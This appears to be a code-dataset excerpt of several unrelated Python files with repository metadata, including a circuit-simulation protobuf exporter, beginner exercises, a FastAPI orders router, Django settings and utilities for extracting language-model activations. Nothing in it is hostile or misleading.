Co-export, in the process co-elaborating, all provided testbenches\n pkg: vckt.Package = module_to_proto([i.tb for i in inp])\n\n # Export each individual `Sim`\n results = [SimProtoExporter(sim=s, pkg=pkg).export() for s in inp]\n\n # And return the result in the form in which it came\n if single_input:\n return results[0]\n return results\n\n\nclass SimProtoExporter:\n \"\"\"Simulation Protobuf Exporter\"\"\"\n\n def __init__(self, sim: data.Sim, pkg: vckt.Package):\n self.sim = sim # Store the input `Sim`\n self.pkg = pkg\n self.inp = None # Initialize our resultant `vsp.SimInput`\n self.analysis_count = 0\n\n def export(self) -> vsp.SimInput:\n \"\"\"Primary export method. Converts `sim.tb` and its dependencies to a `Package`,\n and all other `SimAttr`s to VLSIR attributes.\"\"\"\n\n from ..instantiable import qualname\n\n # Now that the testbench has been elaborated, ensure it adheres to the testbench interface.\n if not data.is_tb(self.sim.tb):\n raise RuntimeError(f\"Invalid Testbench {self.sim.tb} for Simulation\")\n\n # Create our `SimInput`, and provide it with a \"link\" to the testbench, via its name\n self.inp = vsp.SimInput(pkg=self.pkg, top=qualname(self.sim.tb))\n\n # Export each simulation attribute\n for attr in self.sim.attrs:\n self.export_attr(attr)\n return self.inp\n\n def export_attr(self, attr: data.SimAttr) -> None:\n \"\"\"Export a Sim Attribute. Primarily dispatches across internal union-types.\"\"\"\n from .data import is_analysis, is_control\n\n if isinstance(attr, data.Options):\n self.inp.opts.append(export_options(attr))\n elif is_analysis(attr):\n self.inp.an.append(self.export_analysis(attr))\n elif is_control(attr):\n self.inp.ctrls.append(export_control(attr))\n else:\n raise TypeError(f\"Invalid SimAttr: {attr}\")\n\n def export_analysis(self, an: data.Analysis) -> vsp.Analysis:\n \"\"\"Export an `Analysis`, largely dispatching across types and re-assembling into a `vsp.Analysis`.\"\"\"\n if isinstance(an, data.Op):\n return vsp.Analysis(op=self.export_op(an))\n elif isinstance(an, data.Dc):\n return vsp.Analysis(dc=self.export_dc(an))\n elif isinstance(an, data.Ac):\n return vsp.Analysis(ac=self.export_ac(an))\n elif isinstance(an, data.Tran):\n return vsp.Analysis(tran=self.export_tran(an))\n elif isinstance(an, data.Noise):\n return vsp.Analysis(noise=self.export_noise(an))\n elif isinstance(an, data.SweepAnalysis):\n return vsp.Analysis(sweep=self.export_sweep_analysis(an))\n elif isinstance(an, data.MonteCarlo):\n return vsp.Analysis(monte=self.export_monte(an))\n elif isinstance(an, data.CustomAnalysis):\n return vsp.Analysis(custom=self.export_custom_analysis(an))\n else:\n raise TypeError(f\"Invalid Analysis {an}\")\n\n def next_analysis_name(self) -> str:\n \"\"\"Create a name for the next user-unnamed Analysis.\n Format: `Analysis{num}`, where `num` increases across all analyses.\"\"\"\n name = f\"Analysis{self.analysis_count}\"\n self.analysis_count += 1\n return name\n\n def export_op(self, op: data.Op) -> vsp.OpInput:\n \"\"\"Export an operating point analysis\"\"\"\n analysis_name = op.name or self.next_analysis_name()\n return vsp.OpInput(\n analysis_name=analysis_name,\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_dc(self, dc: data.Dc) -> vsp.DcInput:\n \"\"\"Export a DC analysis\"\"\"\n analysis_name = dc.name or self.next_analysis_name()\n return vsp.DcInput(\n analysis_name=analysis_name,\n indep_name=self.export_sweep_variable(dc.var),\n sweep=self.export_sweep(dc.sweep),\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_ac(self, ac: data.Ac) -> vsp.AcInput:\n \"\"\"Export an AC analysis\"\"\"\n analysis_name = ac.name or self.next_analysis_name()\n return vsp.AcInput(\n analysis_name=analysis_name,\n fstart=export_float(ac.sweep.start),\n fstop=export_float(ac.sweep.stop),\n npts=ac.sweep.npts,\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_tran(self, tran: data.Tran) -> vsp.TranInput:\n \"\"\"Export a transient analysis\"\"\"\n analysis_name = tran.name or self.next_analysis_name()\n return vsp.TranInput(\n analysis_name=analysis_name,\n # FIXME: VLSIR #26 move schema to Param / Prefixed\n tstop=export_float(tran.tstop),\n tstep=export_float(tran.tstep),\n ic={}, # FIXME: initial conditions\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_noise(self, noise: data.Noise) -> vsp.NoiseInput:\n \"\"\"Export a Noise analysis\"\"\"\n from ..instance import Instance\n from ..bundle import BundleInstance\n from ..diff_pair import Diff\n\n analysis_name = noise.name or self.next_analysis_name()\n\n # Sort out the output\n output = noise.output\n if isinstance(output, tuple):\n if len(output) != 2:\n raise ValueError(f\"Invalid Noise Output: {output}\")\n if any(not is_connectable for x in output):\n raise ValueError(f\"Invalid Noise Output: {output}\")\n output_p, output_n = output[0].name, output[1].name\n\n elif isinstance(output, BundleInstance):\n # Allow for `Diff` bundles\n if output.bundle is not Diff:\n raise ValueError(f\"Invalid Noise Output: {output}\")\n output_p, output_n = output.p.name, output.n.name\n\n elif is_connectable(output):\n # Single-ended Signal output\n output_p, output_n = output.name, \"\"\n\n elif isinstance(output, str):\n # Single-ended Signal output\n output_p, output_n = output, \"\"\n\n else:\n raise TypeError(f\"Invalid Noise Output: {output}\")\n\n # Sort out the input source\n if isinstance(noise.input_source, Instance):\n input_source = noise.input_source.name\n elif isinstance(noise.input_source, str):\n input_source = noise.input_source\n else:\n raise TypeError(f\"Invalid Noise Input Source: {noise.input_source}\")\n\n return vsp.NoiseInput(\n analysis_name=analysis_name,\n output_p=output_p,\n output_n=output_n,\n input_source=input_source,\n fstart=export_float(noise.sweep.start),\n fstop=export_float(noise.sweep.stop),\n npts=noise.sweep.npts,\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_sweep_analysis(self, swp_an: data.SweepAnalysis) -> vsp.SweepInput:\n \"\"\"Export a swept, nested set of one or more inner analyses as a `SweepInput`.\"\"\"\n analysis_name = swp_an.name or self.next_analysis_name()\n return vsp.SweepInput(\n analysis_name=analysis_name,\n variable=self.export_sweep_variable(swp_an.var),\n sweep=self.export_sweep(swp_an.sweep),\n an=[self.export_analysis(a) for a in swp_an.inner],\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_monte(self, monte: data.MonteCarlo) -> vsp.MonteInput:\n \"\"\"Export a monte-carlo analysis\"\"\"\n analysis_name = monte.name or self.next_analysis_name()\n return vsp.MonteInput(\n analysis_name=analysis_name,\n npts=monte.npts,\n seed=0, # FIXME: programmable seeds?\n an=[self.export_analysis(a) for a in monte.inner],\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_custom_analysis(\n self, an: data.CustomAnalysis\n ) -> vsp.CustomAnalysisInput:\n \"\"\"Export a custom analysis\"\"\"\n analysis_name = an.name or self.next_analysis_name()\n return vsp.CustomAnalysisInput(\n analysis_name=analysis_name,\n cmd=an.cmd,\n ctrls=[], # FIXME: analysis-specific controls\n )\n\n def export_sweep_variable(self, var: Union[str, data.Param]) -> str:\n \"\"\"Export a sweep-variable to its name.\"\"\"\n if isinstance(var, str):\n return var\n elif isinstance(var, data.Param):\n return var.name\n raise TypeError(f\"Invalid sweep variable {var}\")\n\n def export_sweep(self, sweep: data.Sweep) -> vsp.Sweep:\n \"\"\"Export a data sweep.\"\"\"\n if isinstance(sweep, data.LinearSweep):\n return vsp.Sweep(\n linear=vsp.LinearSweep(\n start=export_float(sweep.start),\n stop=export_float(sweep.stop),\n step=export_float(sweep.step),\n )\n )\n elif isinstance(sweep, data.LogSweep):\n return vsp.Sweep(\n log=vsp.LogSweep(\n # FIXME: VLSIR #26 move schema to Param / Prefixed\n start=export_float(sweep.start),\n stop=export_float(sweep.stop),\n npts=export_float(sweep.npts), # FIXME: move to int\n )\n )\n elif isinstance(sweep, data.PointSweep):\n return vsp.Sweep(\n points=vsp.PointSweep(points=[export_float(x) for x in sweep.points])\n )\n else:\n raise TypeError(f\"Invalid Sweep value {sweep}\")\n\n\ndef export_options(options: data.Options) -> vsp.SimOptions:\n \"\"\"Export simulation options\"\"\"\n from ..proto import export_param_value\n\n return vsp.SimOptions(name=options.name, value=export_param_value(options.value))\n\n\ndef export_control(ctrl: data.Control) -> vsp.Control:\n \"\"\"Export a `Control` element\"\"\"\n from ..proto import export_literal\n\n if isinstance(ctrl, data.Include):\n return vsp.Control(include=export_include(ctrl))\n if isinstance(ctrl, data.Lib):\n return vsp.Control(lib=export_lib(ctrl))\n if isinstance(ctrl, data.Save):\n return vsp.Control(save=export_save(ctrl))\n if isinstance(ctrl, data.Meas):\n return vsp.Control(meas=export_meas(ctrl))\n if isinstance(ctrl, data.Param):\n return vsp.Control(param=export_param(ctrl))\n if isinstance(ctrl, Literal):\n return vsp.Control(literal=export_literal(ctrl))\n raise TypeError(f\"Invalid Sim Control {ctrl}\")\n\n\ndef export_include(inc: data.Include) -> vsp.Include:\n return vsp.Include(path=str(inc.path))\n\n\ndef export_lib(lib: data.Lib) -> vsp.LibInclude:\n return vsp.LibInclude(path=str(lib.path), section=lib.section)\n\n\ndef export_save(save: data.Save) -> vsp.Save:\n if isinstance(save.targ, data.SaveMode):\n if save.targ == data.SaveMode.ALL:\n mode = vsp.Save.SaveMode.ALL\n elif save.targ == data.SaveMode.NONE:\n mode = vsp.Save.SaveMode.NONE\n else:\n raise ValueError\n return vsp.Save(mode=mode)\n if isinstance(save.targ, Signal):\n signal = save.targ.name\n elif isinstance(save.targ, List[Signal]):\n signal = \",\".join([s.name for s in save.targ])\n elif isinstance(save.targ, str):\n signal = save.targ\n elif isinstance(save.targ, List[str]):\n signal = \",\".join([s for s in save.targ])\n else:\n raise TypeError\n return vsp.Save(signal=signal)\n\n\ndef export_meas(meas: data.Meas) -> vsp.Meas:\n \"\"\"Export a measurement\"\"\"\n return vsp.Meas(\n analysis_type=export_analysis_type(meas.analysis),\n name=meas.name,\n expr=str(meas.expr),\n )\n\n\ndef export_analysis_type(an: Union[str, data.Analysis]) -> str:\n \"\"\"Export an `AnalysisType`, or string representation thereof.\"\"\"\n if isinstance(an, str):\n return an\n if data.is_analysis(an):\n return an.tp.value\n raise TypeError(f\"Invalid Analysis for type-extraction {an}\")\n\n\ndef export_param(param: data.Param) -> vlsir.Param:\n \"\"\"Export a parameter declaration\"\"\"\n from ..proto import export_param_value\n\n return vlsir.Param(name=param.name, value=export_param_value(param.val))\n\n\ndef export_float(num: Union[float, int, Decimal, Prefixed, Scalar]) -> float:\n \"\"\"Export a `Number` union-type to a float, or protobuf float/double.\"\"\"\n if num is None:\n # FIXME: this is the protobuf default, but we really wanna make fields that use it optional\n return 0.0\n if isinstance(num, float):\n return num\n if isinstance(num, Scalar):\n return float(num.inner)\n if isinstance(num, (int, str, Decimal, Prefixed)):\n return float(num)\n raise TypeError(f\"Invalid value for proto float: {num}\")\n","repo_name":"dan-fritchman/Hdl21","sub_path":"hdl21/sim/proto.py","file_name":"proto.py","file_ext":"py","file_size_in_byte":13662,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"19"} +{"seq_id":"37706448512","text":"# What is a function?\n\ndef function_name_here(x):\n # Code Block\n print(x)\n return \"some data\"\n\nprint(function_name_here(\"Python is cool\")) \nsomething = function_name_here(\"I'm data\")\nprint(something)\n\n# multiple parameters\n\n\ndef cash_register(total, tendered):\n \"\"\"\" This takes two numbers and compare them \"\"\"\n\n answer = \"\"\n\n if tendered < total:\n answer = \"Hey, more money pal!\"\n elif tendered == total:\n answer = \"Have a nice day\" \n else:\n answer = \"I owe you money\" \n\n return answer\n\n# answer = cash_register(67, 30)\n# print(cash_register)\n# help(help)\n\n# Default return statement\n\ndef combine(x,y,z):\n \"\"\"\n Takes 3 number and prints their sum\n \"\"\"\n return (x+y+z)\n\nwhat_is_this = combine(1,2,3) \nprint(what_is_this)\n\nif combine(12,12,12):\n print(\"found none here\")\n\n \n\n# None define\n\n\n","repo_name":"holbertra/Python-fundamentals","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23105324955","text":"import sys\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# py output_analysis.py \"test_output test_input_7.txt 3000 1000 60 7.95 0.7 0.05 halve_and_swap random 0.4 20 20 .csv\"\n\nif __name__ == \"__main__\":\n\n # Loading the file\n file_path = \"./output/\" + sys.argv[1]\n df = pd.read_csv(file_path)\n\n # Printing 4 sublots in 1 figure\n fig = plt.figure(1)\n fig.suptitle(f\"{sys.argv[1][12:-4]}\")\n \n plt.subplot(2,2,1, title=\"Best Score\", xlabel=\"Generation Number\", ylabel=\"Score\")\n plt.plot(df[\"generation\"], df[\"best_score\"], \"tab:green\")\n \n plt.subplot(2,2,2, title=\"Generation Best Score\", xlabel=\"Generation Number\", ylabel=\"Score\")\n plt.plot(df[\"generation\"], df[\"generation_best_score\"], \"tab:purple\")\n \n plt.subplot(2,2,3, title=\"Average Population Age\", xlabel=\"Generation Number\", ylabel=\"Age\")\n plt.plot(df[\"generation\"], df[\"avg_population_age\"], \"tab:orange\")\n \n plt.subplot(2,2,4, title=\"New Children Count\", xlabel=\"Generation Number\", ylabel=\"Children Count\")\n plt.plot(df[\"generation\"], df[\"new_solutions_count\"], \"tab:red\")\n \n # Saving of the plot\n fig.set_size_inches(18.5, 10.5)\n fig.savefig(f'{file_path[:-4]}.png', dpi=100)\n \n # plt.show()","repo_name":"Amalazas/BO-2022-2023","sub_path":"genetic_algorithm/output_analysis.py","file_name":"output_analysis.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20070149629","text":"from itertools import permutations\n\ndef all_permutations(num):\n \"\"\"\n written to solve http://rosalind.info/problems/perm/\n\n permutation is defined as {1, 2.. num}\n therefore must +1 in the range to get that behavior\n\n :param num:\n :return: generator for permuations\n \"\"\"\n return (p for p in permutations(range(1, num+1)))\n\nwith open('number.txt') as f:\n num = int(f.read().strip())\n permutations = [p for p in all_permutations(num)]\n print(len(permutations))\n for perm in permutations:\n print(str(perm).replace('(', '').replace(')', '').replace(',', ''))\n\n\n","repo_name":"mylons/rosalind","sub_path":"bio/permutations_of_number.py","file_name":"permutations_of_number.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3271306593","text":"from school import School\n\n\nmest = School()\nprint('add eit')\nmest.add_eit()\nprint('add fellow')\nmest.add_fellow()\nwhile True:\n what_to_do = input('fellow actions or eit actions? f/e: ')\n if what_to_do == 'f':\n fellow_action = input('what should fellows do? teach/eat | t/e: ')\n if fellow_action == 't':\n for fellow in mest.fellows:\n fellow.teach()\n if fellow_action == 'e':\n for fellow in mest.fellows:\n fellow.eat()\n\n elif what_to_do == 'e':\n for eit in mest.eits:\n eit.say_fun_fact_about_tech_class()\n\n else:\n with open('eits.csv', 'w') as eit_file:\n eit_file.write('Name,Nationality\\n')\n for eit in mest.eits:\n eit_file.write(eit.name+','+eit.nationality+'\\n')\n break\n","repo_name":"sasogeek/MestModel","sub_path":"run_school.py","file_name":"run_school.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70667471724","text":"#this is going to be the production settings.\n\nfrom .base import *\n\nDEBUG = False\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n\nREST_FRAMEWORK = {\n 'DEFAULT_RENDERER_CLASSES': (\n 'rest_framework.renderers.JSONRenderer',\n ),\n}\n\n","repo_name":"dgmouris/stewdy","sub_path":"stewdy/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"41448257418","text":"from fastapi import APIRouter, HTTPException,status,Depends\nfrom sqlalchemy.orm import Session\nfrom app import database,models,oauth2,untils\nfrom app.Schema import order\nfrom typing import List\n\nrouters = APIRouter(\n prefix='/orders',\n tags=['orders']\n)\n\n@routers.get('/',status_code = status.HTTP_200_OK,\n response_model=List[order.OrderOut])\ndef get_orders(db: Session = Depends(database.get_db),\n current_user:int = Depends(oauth2.get_current_user)):\n orders = db.query(models.Orders).filter(models.Orders.user_id == current_user.id).all()\n return orders\n\n@routers.post('/',status_code = status.HTTP_201_CREATED)\ndef create_orders(order: order.Order,\n db: Session = Depends(database.get_db),\n current_user=Depends(oauth2.get_current_user)):\n untils.check_user_validation(order.user_id,current_user)\n user_order = db.query(models.Users).filter(models.Users.id == current_user.id).first()\n product_order = db.query(models.Products).filter(models.Products.id == order.product_id).first()\n if not user_order.address or not user_order.phone:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Complete your info account before place order\") \n untils.check_if_dont_exist(product_order)\n if product_order.quantity < order.order_qty:\n raise HTTPException(status_code = status.HTTP_404_NOT_FOUND,\n detail = f\"Can not order more than available product quantity\")\n new_order = models.Orders(**order.dict())\n db.add(new_order)\n db.commit()\n db.refresh(new_order)\n return {\"message\":\"Order completed!\"}\n\n@routers.put('/{id}',status_code=status.HTTP_201_CREATED)\ndef edit_order(id:int,\n data: order.OrderChange,\n db: Session = Depends(database.get_db),\n current_user:int = Depends(oauth2.get_current_user)):\n order_db = db.query(models.Orders).filter(models.Orders.id == id)\n order = order_db.first()\n untils.check_if_dont_exist(order)\n untils.check_user_validation(order.user_id, current_user)\n if data.order_qty == 0:\n db.delete(order)\n db.commit()\n order_db.update(data.dict(),synchronize_session=False)\n db.commit()\n return {\"message\":\"Order changed!\"}\n\n@routers.delete('/{id}',status_code=status.HTTP_204_NO_CONTENT)\ndef delete_order(id:int,\n db: Session = Depends(database.get_db),\n current_user:int = Depends(oauth2.get_current_user)):\n order = db.query(models.Orders).filter(models.Orders.id == id).first()\n untils.check_if_dont_exist(order)\n untils.check_user_validation(order.user_id, current_user)\n db.delete(order)\n db.commit()\n ","repo_name":"sippyyy/Ecommerce","sub_path":"app/routers/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20799986977","text":"import typing\n\nimport numpy as np\nimport torch\nimport xarray as xr\nfrom tqdm.auto import tqdm\nimport random\n\nfrom langbrainscore.utils.preprocessing import preprocessor_classes\nfrom langbrainscore.utils.logging import log\n\n\ndef count_zero_threshold_values(\n A: np.ndarray,\n zero_threshold: float = 0.001,\n):\n \"\"\"Given matrix A, count how many values are below the zero_threshold\"\"\"\n return np.sum(A < zero_threshold)\n\n\ndef flatten_activations_per_sample(activations: dict):\n \"\"\"\n Convert activations into dataframe format\n\n Args:\n Input (dict): key = layer, value = array of emb_dim\n\n Returns:\n arr_flat (np.ndarray): 1D ndarray of flattened activations across all layers\n layers_arr (np.ndarray): 1D ndarray of layer indices, corresponding to arr_flat\n \"\"\"\n layers_arr = []\n arr_flat = []\n for layer, arr in activations.items(): # Iterate over layers\n arr = np.array(arr)\n arr_flat.append(arr)\n for i in range(arr.shape[0]): # Iterate across units\n layers_arr.append(layer)\n arr_flat = np.concatenate(\n arr_flat, axis=0\n ) # concatenated activations across layers\n\n return arr_flat, np.array(layers_arr)\n\n\ndef aggregate_layers(\n hidden_states: dict, mode: typing.Union[str, typing.Callable]\n) -> np.ndarray:\n \"\"\"Input a hidden states dictionary (key = layer, value = 2D array of n_tokens x emb_dim)\n\n Args:\n hidden_states (dict): key = layer (int), value = 2D PyTorch tensor of shape (n_tokens, emb_dim)\n\n Raises:\n NotImplementedError\n\n Returns:\n dict: key = layer, value = array of emb_dim\n \"\"\"\n states_layers = dict()\n\n emb_aggregation = mode\n # iterate over layers\n for i in hidden_states.keys():\n if emb_aggregation == \"last\":\n state = hidden_states[i][-1, :] # get last token\n elif emb_aggregation == \"first\":\n state = hidden_states[i][0, :] # get first token\n elif emb_aggregation == \"mean\":\n state = torch.mean(hidden_states[i], dim=0) # mean over tokens\n elif emb_aggregation == \"median\":\n state = torch.median(hidden_states[i], dim=0) # median over tokens\n elif emb_aggregation == \"sum\":\n state = torch.sum(hidden_states[i], dim=0) # sum over tokens\n elif emb_aggregation == \"all\" or emb_aggregation == None:\n state = hidden_states\n elif callable(emb_aggregation):\n state = emb_aggregation(hidden_states[i])\n else:\n raise NotImplementedError(\n f\"Sentence embedding method [{emb_aggregation}] not implemented\"\n )\n\n states_layers[i] = state.detach().cpu().numpy()\n\n return states_layers\n\n\ndef get_torch_device():\n \"\"\"\n get torch device based on whether cuda is available or not\n \"\"\"\n import torch\n\n # Set device to GPU if cuda is available.\n if torch.cuda.is_available():\n device = torch.device(\"cuda\")\n torch.set_default_tensor_type(torch.cuda.FloatTensor)\n else:\n device = torch.device(\"cpu\")\n return device\n\n\ndef set_case(sample: str, emb_case: typing.Union[str, None] = None):\n if emb_case == \"lower\":\n return sample.lower()\n elif emb_case == \"upper\":\n return sample.upper()\n return sample\n\n\ndef get_context_groups(dataset, context_dimension):\n if context_dimension is None:\n context_groups = np.arange(0, dataset.stimuli.size, 1)\n else:\n context_groups = dataset.stimuli.coords[context_dimension].values\n return context_groups\n\n\ndef preprocess_activations(*args, **kwargs):\n return postprocess_activations(*args, **kwargs)\n\n\ndef postprocess_activations(\n activations_2d: np.ndarray = None,\n layer_ids_1d: np.ndarray = None,\n emb_preproc_mode: str = None, # \"demean\",\n):\n\n activations_processed = []\n layer_ids_processed = []\n\n # log(f\"Preprocessing activations with {p_id}\")\n for l_id in np.sort(np.unique(layer_ids_1d)): # For each layer\n preprocessor = preprocessor_classes[emb_preproc_mode]\n\n # Get the activations for this layer and retain 2d shape: [n_samples, emb_dim]\n activations_2d_layer = activations_2d[:, layer_ids_1d == l_id]\n\n preprocessor.fit(\n activations_2d_layer\n ) # obtain a scaling per unit (in emb space)\n\n # Apply the scaling to the activations and reassamble the activations (might have different shape than original)\n activations_2d_layer_processed = preprocessor.transform(activations_2d_layer)\n activations_processed += [activations_2d_layer_processed]\n layer_ids_processed += [np.full(activations_2d_layer_processed.shape[1], l_id)]\n\n # Concatenate to obtain [n_samples, emb_dim across layers], i.e., flattened activations\n activations_2d_layer_processed = np.hstack(activations_processed)\n layer_ids_1d_processed = np.hstack(layer_ids_processed)\n\n return activations_2d_layer_processed, layer_ids_1d_processed\n\n\ndef repackage_flattened_activations(\n activations_2d: np.ndarray = None,\n layer_ids_1d: np.ndarray = None,\n dataset: xr.Dataset = None,\n):\n return xr.DataArray(\n np.expand_dims(activations_2d, axis=2), # add in time dimension\n dims=(\"sampleid\", \"neuroid\", \"timeid\"),\n coords={\n \"sampleid\": dataset.contents.sampleid.values,\n \"neuroid\": np.arange(len(layer_ids_1d)),\n \"timeid\": np.arange(1),\n \"layer\": (\"neuroid\", np.array(layer_ids_1d, dtype=\"int64\")),\n },\n )\n\n\ndef cos_sim_matrix(A, B):\n \"\"\"Compute the cosine similarity matrix between two matrices A and B.\n 1 means the two vectors are identical. 0 means they are orthogonal.\n -1 means they are opposite.\"\"\"\n return (A * B).sum(axis=1) / (A * A).sum(axis=1) ** 0.5 / (B * B).sum(axis=1) ** 0.5\n\n\ndef pick_matching_token_ixs(\n batchencoding: \"transformers.tokenization_utils_base.BatchEncoding\",\n char_span_of_interest: slice,\n) -> slice:\n \"\"\"Picks token indices in a tokenized encoded sequence that best correspond to\n a substring of interest in the original sequence, given by a char span (slice)\n\n Args:\n batchencoding (transformers.tokenization_utils_base.BatchEncoding): the output of a\n `tokenizer(text)` call on a single text instance (not a batch, i.e. `tokenizer([text])`).\n char_span_of_interest (slice): a `slice` object denoting the character indices in the\n original `text` string we want to extract the corresponding tokens for\n\n Returns:\n slice: the start and stop indices within an encoded sequence that\n best match the `char_span_of_interest`\n \"\"\"\n from transformers import tokenization_utils_base\n\n start_token = 0\n end_token = batchencoding.input_ids.shape[-1]\n for i, _ in enumerate(batchencoding.input_ids.reshape(-1)):\n span = batchencoding[0].token_to_chars(\n i\n ) # batchencoding 0 gives access to the encoded string\n\n if span is None: # for [CLS], no span is returned\n log(\n f'No span returned for token at {i}: \"{batchencoding.tokens()[i]}\"',\n type=\"WARN\",\n cmap=\"WARN\",\n verbosity_check=True,\n )\n continue\n else:\n span = tokenization_utils_base.CharSpan(*span)\n\n if span.start <= char_span_of_interest.start:\n start_token = i\n if span.end >= char_span_of_interest.stop:\n end_token = i + 1\n break\n\n assert (\n end_token - start_token <= batchencoding.input_ids.shape[-1]\n ), f\"Extracted span is larger than original span\"\n\n return slice(start_token, end_token)\n\n\ndef encode_stimuli_in_context(\n stimuli_in_context,\n tokenizer: \"transformers.AutoTokenizer\",\n model: \"transformers.AutoModel\",\n bidirectional: bool,\n include_special_tokens: bool,\n emb_aggregation,\n device=get_torch_device(),\n):\n \"\"\" \"\"\"\n # CONTEXT LOOP\n for i, stimulus in enumerate(stimuli_in_context):\n\n # extract stim to encode based on the uni/bi-directional nature of models\n if not bidirectional:\n stimuli_directional = stimuli_in_context[: i + 1]\n else:\n stimuli_directional = stimuli_in_context\n\n # join the stimuli together within a context group using just a single space\n stimuli_directional = \" \".join(stimuli_directional)\n\n tokenized_directional_context = tokenizer(\n stimuli_directional,\n padding=False,\n return_tensors=\"pt\",\n add_special_tokens=True,\n ).to(device)\n\n # Get the hidden states\n result_model = model(\n tokenized_directional_context.input_ids,\n output_hidden_states=True,\n return_dict=True,\n )\n\n # dict with key=layer, value=3D tensor of dims: [batch, tokens, emb size]\n hidden_states = result_model[\"hidden_states\"]\n\n layer_wise_activations = dict()\n\n # Find which indices match the current stimulus in the given context group\n start_of_interest = stimuli_directional.find(stimulus)\n char_span_of_interest = slice(\n start_of_interest, start_of_interest + len(stimulus)\n )\n token_span_of_interest = pick_matching_token_ixs(\n tokenized_directional_context, char_span_of_interest\n )\n\n log(\n f\"Interested in the following stimulus:\\n{stimuli_directional[char_span_of_interest]}\\n\"\n f\"Recovered:\\n{tokenized_directional_context.tokens()[token_span_of_interest]}\",\n cmap=\"INFO\",\n type=\"INFO\",\n verbosity_check=True,\n )\n\n all_special_ids = set(tokenizer.all_special_ids)\n\n # Look for special tokens in the beginning and end of the sequence\n insert_first_upto = 0\n insert_last_from = tokenized_directional_context.input_ids.shape[-1]\n # loop through input ids\n for i, tid in enumerate(tokenized_directional_context.input_ids[0, :]):\n if tid.item() in all_special_ids:\n insert_first_upto = i + 1\n else:\n break\n for i in range(1, tokenized_directional_context.input_ids.shape[-1] + 1):\n tid = tokenized_directional_context.input_ids[0, -i]\n if tid.item() in all_special_ids:\n insert_last_from -= 1\n else:\n break\n\n for idx_layer, layer in enumerate(hidden_states): # Iterate over layers\n # b (1), n (tokens), h (768, ...)\n # collapse batch dim to obtain shape (n_tokens, emb_dim)\n this_extracted = layer[\n :,\n token_span_of_interest,\n :,\n ].squeeze(0)\n\n if include_special_tokens:\n # get the embeddings for the first special tokens\n this_extracted = torch.cat(\n [\n layer[:, :insert_first_upto, :].squeeze(0),\n this_extracted,\n ],\n axis=0,\n )\n # get the embeddings for the last special tokens\n this_extracted = torch.cat(\n [\n this_extracted,\n layer[:, insert_last_from:, :].squeeze(0),\n ],\n axis=0,\n )\n\n layer_wise_activations[idx_layer] = this_extracted.detach()\n\n # Aggregate hidden states within a sample\n # aggregated_layerwise_sentence_encodings is a dict with key = layer, value = array of emb dimension\n aggregated_layerwise_sentence_encodings = aggregate_layers(\n layer_wise_activations, mode=emb_aggregation\n )\n yield aggregated_layerwise_sentence_encodings\n # END CONTEXT LOOP\n\n\ndef dataset_from_stimuli(stimuli: \"pd.DataFrame\"):\n pass\n\n\n###############################################################################\n# ANALYSIS UTILS: these act upon encoded data, rather than encoders\n###############################################################################\n\n\ndef get_decomposition_method(method: str = \"pca\", n_comp: int = 10, **kwargs):\n \"\"\"\n Return the sklearn method to use for decomposition.\n\n Args:\n method (str): Method to use for decomposition (default: \"pca\", other options: \"mds\", \"tsne\")\n n_comp (int): Number of components to keep (default: 10)\n\n Returns:\n sklearn method\n \"\"\"\n\n if method == \"pca\":\n from sklearn.decomposition import PCA\n\n decomp_method = PCA(n_components=n_comp)\n\n elif method == \"mds\":\n from sklearn.manifold import MDS\n\n decomp_method = MDS(n_components=n_comp)\n\n elif method == \"tsne\":\n from sklearn.manifold import TSNE\n\n decomp_method = TSNE(n_components=n_comp)\n\n else:\n raise ValueError(f\"Unknown method: {method}\")\n\n return decomp_method\n\n\ndef get_explainable_variance(\n ann_encoded_dataset,\n method: str = \"pca\",\n variance_threshold: float = 0.80,\n **kwargs,\n) -> xr.Dataset:\n \"\"\"\n Returns how many components are needed to explain the variance threshold (default 80%) per layer.\n\n Args:\n ann_encoded_dataset (xr.Dataset): ANN encoded dataset\n method (str): Method to use for decomposition (default: \"pca\", other options: \"mds\", \"tsne\")\n variance_threshold (float): Variance threshold to use for determining how many components are needed to\n explain explained a certain threshold of variance (default: 0.80)\n **kwargs: Additional keyword arguments to pass to the underlying method\n\n Returns:\n variance_across_layers (dict): Nested dict with value of interest as key (e.g., explained variance) and\n layer id as key (e.g., 0, 1, 2, ...) with corresponding values.\n\n \"\"\"\n\n ks = [\n f\"n_comp-{method}_needed-{variance_threshold}\",\n f\"first_comp-{method}_explained_variance\",\n ]\n variance_across_layers = {k: {} for k in ks}\n\n # Get the PCA explained variance per layer\n layer_ids = ann_encoded_dataset.layer.values\n _, unique_ixs = np.unique(layer_ids, return_index=True)\n\n # Make sure that layer order is preserved\n for layer_id in tqdm(layer_ids[np.sort(unique_ixs)]):\n layer_dataset = (\n ann_encoded_dataset.isel(neuroid=(ann_encoded_dataset.layer == layer_id))\n 